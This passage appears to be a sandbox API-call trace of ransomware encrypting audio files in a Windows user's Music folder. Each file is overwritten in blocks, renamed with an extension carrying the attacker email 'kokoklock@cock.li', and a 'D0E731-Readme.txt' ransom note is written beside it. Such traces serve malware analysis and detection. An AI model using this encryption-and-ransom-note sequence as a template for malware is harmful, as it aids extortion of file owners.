out: Seed=0x2a53f754) returned 0x68bf5040 [0083.825] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.825] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.825] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.825] ReadFile (in: hFile=0x690, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a53f720, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a53f720*=0x4096, lpOverlapped=0x0) returned 1 [0083.825] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.825] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.825] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0083.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d230 [0083.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d230) returned 1 [0083.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.826] WriteFile (in: hFile=0x690, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a53f720, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a53f720*=0x4096, lpOverlapped=0x0) returned 1 [0083.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.826] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x11db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.826] WriteFile (in: hFile=0x690, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a53f758, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x2a53f758*=0x20, lpOverlapped=0x0) returned 1 [0083.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.826] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.826] WriteFile (in: hFile=0x690, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a53f76c, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x2a53f76c*=0x8, lpOverlapped=0x0) returned 1 [0083.826] WriteFile (in: hFile=0x690, lpBuffer=0x2a53f784*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a53f76c, lpOverlapped=0x0 | out: lpBuffer=0x2a53f784*, lpNumberOfBytesWritten=0x2a53f76c*=0x4, lpOverlapped=0x0) returned 1 [0083.827] WriteFile (in: hFile=0x690, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a53f76c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a53f76c*=0x4, lpOverlapped=0x0) returned 1 [0083.827] WriteFile (in: hFile=0x690, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a53f76c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a53f76c*=0x6c, lpOverlapped=0x0) returned 1 [0083.827] WriteFile (in: hFile=0x690, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a53f76c, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a53f76c*=0x20, lpOverlapped=0x0) returned 1 [0083.827] WriteFile (in: hFile=0x690, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a53f76c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a53f76c*=0x4, lpOverlapped=0x0) returned 1 [0083.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d640) returned 1 [0083.827] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.827] CloseHandle (hObject=0x690) returned 1 [0083.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf6) returned 0x34223b8 [0083.827] wcscpy (in: _Dest=0x34223b8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3" [0083.827] wcscat (in: _Dest=0x34223b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731" [0083.827] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\1t1le urssr.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\1t1le urssr.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.439] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34223b8) returned 1 [0088.518] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3", dwFileAttributes=0x20) returned 0 [0088.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3430f80 [0088.518] wcscpy (in: _Dest=0x3430f80, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0088.518] wcscat (in: _Dest=0x3430f80, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0088.518] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0088.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f80) returned 1 [0088.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431340) returned 1 [0088.518] RtlExitUserThread (Status=0x1) Thread: id = 1202 os_tid = 0xd58 [0083.828] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\gbc08akz4r67zcirl.wav")) returned 0x20 [0083.828] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav", dwFileAttributes=0x20) returned 1 [0083.829] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\gbc08akz4r67zcirl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x630 [0083.829] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2a5bf9a4 | out: lpFileSize=0x2a5bf9a4*=46174) returned 1 [0083.829] SetFilePointerEx (in: hFile=0x630, liDistanceToMove=0xb45a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.829] ReadFile (in: hFile=0x630, lpBuffer=0x2a5bf978, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a5bf974, lpOverlapped=0x0 | out: lpBuffer=0x2a5bf978*, lpNumberOfBytesRead=0x2a5bf974*=0x4, lpOverlapped=0x0) returned 1 [0083.830] SetFilePointerEx (in: hFile=0x630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d640 [0083.830] NtQuerySystemTime (in: CurrentTime=0x2a5bf950 | out: CurrentTime=0x2a5bf950*=132121176417266870) returned 0x0 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xb306acf6 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xd3ee2199 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x873915f5 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x941a576e [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x117dfdfb [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x4c9a86fc [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x59673b22 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x7fe19be7 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x636819c2 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xbb60809c [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x6a0f0c29 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xca2386cb [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x6f27f6ab [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x9f584a89 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x3064c31d [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xbebbbd15 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x9df1ee7d [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xf524464e [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xc76ec4e9 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xa8c167b2 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x9ea57c6e [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x23eab600 [0083.830] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x145d31d2 [0083.831] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xbb4057ed [0083.831] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x43a1b451 [0083.831] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x6e97e764 [0083.831] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xac5661e2 [0083.831] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xc6b7dd7a [0083.831] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x30c3268a [0083.831] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xf84b7e8f [0083.831] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0x18fbe54a [0083.831] RtlRandom (in: Seed=0x2a5bf95c | out: Seed=0x2a5bf95c) returned 0xddcdb83c [0083.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0083.842] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.842] SetFilePointerEx (in: hFile=0x630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.842] ReadFile (in: hFile=0x630, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a5bf928, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a5bf928*=0x4096, lpOverlapped=0x0) returned 1 [0083.842] SetFilePointerEx (in: hFile=0x630, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc98 [0083.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34806d8 [0083.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d2f8 [0083.842] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d208 [0083.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d208) returned 1 [0083.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34806d8) returned 1 [0083.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc98) returned 1 [0083.843] WriteFile (in: hFile=0x630, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a5bf928, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a5bf928*=0x4096, lpOverlapped=0x0) returned 1 [0083.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.843] SetFilePointerEx (in: hFile=0x630, liDistanceToMove=0xb45e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.843] WriteFile (in: hFile=0x630, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a5bf960, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a5bf960*=0x20, lpOverlapped=0x0) returned 1 [0083.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.843] WriteFile (in: hFile=0x630, lpBuffer=0x342d6e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a5bf974, lpOverlapped=0x0 | out: lpBuffer=0x342d6e0*, lpNumberOfBytesWritten=0x2a5bf974*=0x8, lpOverlapped=0x0) returned 1 [0083.843] WriteFile (in: hFile=0x630, lpBuffer=0x2a5bf98c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a5bf974, lpOverlapped=0x0 | out: lpBuffer=0x2a5bf98c*, lpNumberOfBytesWritten=0x2a5bf974*=0x4, lpOverlapped=0x0) returned 1 [0083.843] WriteFile (in: hFile=0x630, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a5bf974, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a5bf974*=0x4, lpOverlapped=0x0) returned 1 [0083.844] WriteFile (in: hFile=0x630, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a5bf974, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a5bf974*=0x6c, lpOverlapped=0x0) returned 1 [0083.844] WriteFile (in: hFile=0x630, lpBuffer=0x342d618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a5bf974, lpOverlapped=0x0 | out: lpBuffer=0x342d618*, lpNumberOfBytesWritten=0x2a5bf974*=0x20, lpOverlapped=0x0) returned 1 [0083.844] WriteFile (in: hFile=0x630, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a5bf974, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a5bf974*=0x4, lpOverlapped=0x0) returned 1 [0083.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6e0) returned 1 [0083.844] CloseHandle (hObject=0x630) returned 1 [0083.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x3434e58 [0083.844] wcscpy (in: _Dest=0x3434e58, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav" [0083.844] wcscat (in: _Dest=0x3434e58, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731" [0083.844] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\gbc08akz4r67zcirl.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\gbc08akz4r67zcirl.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.440] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434e58) returned 1 [0088.440] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav", dwFileAttributes=0x20) returned 0 [0088.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3431580 [0088.441] wcscpy (in: _Dest=0x3431580, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0088.441] wcscat (in: _Dest=0x3431580, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0088.441] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0xffffffff [0088.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x630 [0088.441] WriteFile (in: hFile=0x630, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2a5bf970, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2a5bf970*=0x481, lpOverlapped=0x0) returned 1 [0088.442] CloseHandle (hObject=0x630) returned 1 [0088.442] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431580) returned 1 [0088.442] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486928) returned 1 [0088.442] RtlExitUserThread (Status=0x1) Thread: id = 1203 os_tid = 0xb84 [0083.845] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\h50q1-z.mp3")) returned 0x20 [0083.845] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3", dwFileAttributes=0x20) returned 1 [0083.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\h50q1-z.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x62c [0083.845] GetFileSizeEx (in: hFile=0x62c, lpFileSize=0x2a63f828 | out: lpFileSize=0x2a63f828*=4133) returned 1 [0083.846] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x1021, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.846] ReadFile (in: hFile=0x62c, lpBuffer=0x2a63f7fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a63f7f8, lpOverlapped=0x0 | out: lpBuffer=0x2a63f7fc*, lpNumberOfBytesRead=0x2a63f7f8*=0x4, lpOverlapped=0x0) returned 1 [0083.846] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d208 [0083.846] NtQuerySystemTime (in: CurrentTime=0x2a63f7d4 | out: CurrentTime=0x2a63f7d4*=132121176417423138) returned 0x0 [0083.846] RtlRandom (in: Seed=0x2a63f7e0 | out: Seed=0x2a63f7e0) 